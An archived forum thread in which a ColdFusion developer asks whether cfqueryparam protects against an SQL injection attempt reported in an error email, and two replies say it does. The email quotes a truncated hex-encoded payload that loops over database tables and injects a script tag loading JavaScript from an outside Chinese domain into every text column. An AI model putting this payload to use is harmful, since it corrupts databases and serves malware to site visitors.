Skip to main content
Inspiring
July 22, 2008
Question

SQL Injecttion attack

  • July 22, 2008
  • 2 replies
  • 292 views
Hi, today i encountered an SQL injection attack when i recieved an emailin which this error was definbed:

Error: Invalid data 3';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7... for CFSQLTYPE CF_SQL_NUMERIC.

I googled it and found that it is some new kind of sql attack.

i am using cfqueryparam in all my queries, will this kind of attack harm it or not..

Cheers
This topic has been closed for replies.

2 replies

Inspiring
July 22, 2008
nightwolf666 wrote:
>
> I googled it and found that it is some new kind of sql attack.
>
> i am using cfqueryparam in all my queries, will this kind of attack harm it or
> not..
>


You are safe, if you care there is an extensive discussion on this over
at House of Fusion.
http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:57065
Inspiring
July 22, 2008
If you really are religiously using cfqueryparam the you have nothing to worry about.